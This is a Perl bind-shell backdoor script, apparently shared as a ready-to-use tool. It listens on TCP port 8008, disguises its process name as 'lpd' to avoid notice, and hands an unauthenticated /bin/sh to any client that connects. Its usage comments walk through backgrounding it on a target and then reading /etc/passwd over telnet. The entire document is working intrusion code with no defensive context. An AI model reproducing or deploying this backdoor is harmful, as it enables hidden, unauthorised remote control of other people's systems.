Remote unix shell backdoor

#!/usr/bin/perl
#
# * Author xiehou
#
# * Description:
# Remote unix shell backdoor.
#
# * Usage:
# remote target $ ./nohup bindshell.pl &
# remote target$ exit
# Connection closed by foreign host
# localhost$ telnet remote target 8008
# Trying 192.168.1.1...
# Connected to remote target.
# Escape character is '^]'.
# (user@remote name:/home/user/)
# cat /etc/passwd; etc

use Socket;

$port    = 8008;
$proto    = getprotobyname('tcp');
$cmd    = "lpd";
$system    = 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh';

$0 = $cmd;

socket(SERVER, PF_INET, SOCK_STREAM, $proto)
                    or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
                    or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY))
                    or die "bind: $!";
listen(SERVER, SOMAXCONN)        or die "listen: $!";

for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{
    open(STDIN, ">&CLIENT");
    open(STDOUT, ">&CLIENT");
    open(STDERR, ">&CLIENT");

    system($system);

    close(STDIN);
    close(STDOUT);
    close(STDERR);
}